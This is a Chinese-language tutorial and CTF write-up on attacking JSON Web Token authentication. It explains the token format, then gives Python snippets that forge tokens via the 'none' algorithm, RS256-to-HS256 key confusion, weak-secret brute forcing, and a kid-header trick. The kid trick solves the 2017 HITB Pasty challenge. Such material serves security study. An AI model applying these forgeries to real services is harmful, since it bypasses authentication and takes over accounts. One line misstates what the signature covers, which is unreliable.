0x01 JWT工作流程
JSON Web Token(JWT)是一個非常輕巧的規范。
這個規范允許我們使用JWT在用戶和服務器之間傳遞安全可靠的信息。
JWT常被用於前后端分離,可以和Restful API配合使用,常用於構建身份認證機制
以20170824 HITB的一道Web題Pasty為例,這題的功能很簡單,下面看一下JWT的工作流程
注冊


登錄


登錄時返回的數據如下
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
登錄后訪問數據(GET)


可以看JWT被帶到了HTTP Header中(前端的工作)
登錄后提交數據(POST)


可以看到JWT其實是被當做身份認證信息攜帶的,另外JWT常被前端代碼存儲於localstorge中
攜帶了JWT的HTTP Header:
Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJ0ZXN0In0.p3_kqvlEg2S7X98HPZuliUmY3JfQOVfSNfrtcxrDAUHrnSW5S8KqtsKUoMKvRtx41_sngfyIbhrnJJYvp90YaaKG90YyaVJrAVFx-uRXkssvAiE-6X8GIU9UI-kC_J5QWIasggQ7a1Ro9nhv5e7gZwJTq50YTg8yAJ8B-x9BmxKBh8k0tNh_NbfgrRrH6glLKKN3O2Z3GrWgWmUWd6RZuITj2LDRzD43LcY0RdzqSmxmHuQ8SDOWIT8kbGaBqSVO14GVoY8y1GHyskX2gZdUN6qaB6uB9W_XFdYuSrM2gD0srmq-rGcZbyEH_q-1zt8MWUw-JSJF5_JK09mMmBmrmw
0x02 JWT的格式
JWT的格式非常簡單
JWT的數據分為三個部分: headers , payloads,signature(簽名)
三者通過.
分割,均采用base64UrlEncode
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
如上一節中的JWT數據
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
其三個部分為
header
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
解碼后為:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}
headers中包含了關於JWT的配置信息,如簽名算法(alg),類型(JWT),kid表示算法所使用的密鑰文件(當服務端需要多個密鑰文件時使用)
payloads
eyJzdWIiOiJkdWJoZTEyMyJ9
解碼后為:{"sub":"dubhe123"}
payload中存儲一些用戶數據,比如用戶名(dubhe123)
payload中也有一些JWT標准定義的字段,用戶可選擇使用
{
"iss": "John Wu JWT",
"iat": 1441593502,
"exp": 1441594722,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"username": "A"
}
這幾個字段的含義如下,其中需要注意的字段是exp,這字段可在一定程度上被用來防止重放攻擊
iss: 該JWT的簽發者
sub: 該JWT所面向的用戶
aud: 接收該JWT的一方
exp(expires): 什么時候過期,這里是一個Unix時間戳
iat(issued at): 在什么時候簽發的
signature
signature:
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
因為header和payload是明文存儲的,所以簽名是為了防止數據被修改的,提供了對數據的交易功能
簽名常使用RS256(RSA 非對稱加密,使用私鑰簽名)、HS256(HMAC SHA256 對稱加密)算法,簽名對象為base64UrlEncode(headers) + '.' + base64UrlEncode('signature')
0x03 攻擊JWT
1. 敏感信息泄露
很明顯的一點,因為payload是明文傳輸的,所以如果payload中存在敏感信息就會出現信息泄露
2. 修改算法為none
簽名算法保證了JWT在傳輸的過程中不被惡意用戶修改
但是header中的alg字段可被修改為none
一些JWT庫支持none算法,即沒有簽名算法,當alg為none時后端不會進行簽名校驗
將alg修改為none后,去掉JWT中的signature數據(僅剩header + '.' + payload + '.')然后提交到服務端即可
這種攻擊的例子可以參考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
代碼可以在Github上找到 https://github.com/Sjord/jwtdemo/
這個例子的解法如下
import jwt
import base64
# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
# 構造算法字段為none, payload部分可以隨意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
結果如下

3. 修改算法RS256為HS256(非對稱密碼算法 => 對稱密碼算法)
算法HS256使用秘密密鑰對每條消息進行簽名和驗證。
算法RS256使用私鑰對消息進行簽名,並使用公鑰進行驗證。
如果將算法從RS256更改為HS256,后端代碼會使用公鑰作為秘密密鑰,然后使用HS256算法驗證簽名。
由於公鑰有時可以被攻擊者獲取到,所以攻擊者可以修改header中算法為HS256,然后使用RSA公鑰對數據進行簽名。
后端代碼會使用RSA公鑰+HS256算法進行簽名驗證。
同樣的,可以通過一個例子來理解這種攻擊方式 http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
RSA公鑰:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
該例子解法如下
import jwt
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}
# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}
public = open('public.pem.1', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
結果如下(驗證通過):

4. HS256(對稱加密)密鑰破解
如果HS256密鑰強度較弱,可以直接暴力破解,如PyJWT庫樣例代碼中使用secret字符串當做密鑰
那么暴力猜解密鑰,當密鑰正確則解密成功,密鑰錯誤解密代碼拋出異常
可使用PyJWT或 John Ripper進行破解測試
附: 相關工具
PyJWT庫 https://github.com/jpadilla/pyjwt
>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}
0x04 實例:2017 HITB Pasty
該Web應用JWT使用RS256算法,公鑰文件存放在http://47.74.147.52:20012/keys/ 目錄(根據kid的值猜測得出的)

嘗試將算法設置為none和將算法替換為HS256,但是均未通過服務端驗證
所以JWT應該還是使用RS256算法。
該Web應用的場景為用戶可以自己創建Pasty,並提供了下載文本格式的Pasty的功能。
下載鏈接為 http://47.74.147.52:20012/api/paste/(pasty_id )?raw
如 http://47.74.147.52:20012/api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw
所以可以新建一個Pasty,內容為我們自己生成的公鑰

然后使用python JWT庫編寫代碼,使用我們生成的私鑰對我們構造的admin的數據進行簽名
其中kid為api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw=

import jwt
private = open('key.pem', 'r').read()
print jwt.encode({"sub":"admin"}, key=private, \
headers={'kid': 'api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw='}, algorithm='RS256')
使用私鑰進行簽名的時候發現jwt庫會拋出異常,這里直接將庫中的異常處理代碼注釋掉即可
使用構造好的JWT訪問 /api/paste獲得admin的Pasty ID

訪問admin的Pasty,獲得Flag

0x05 參考
https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html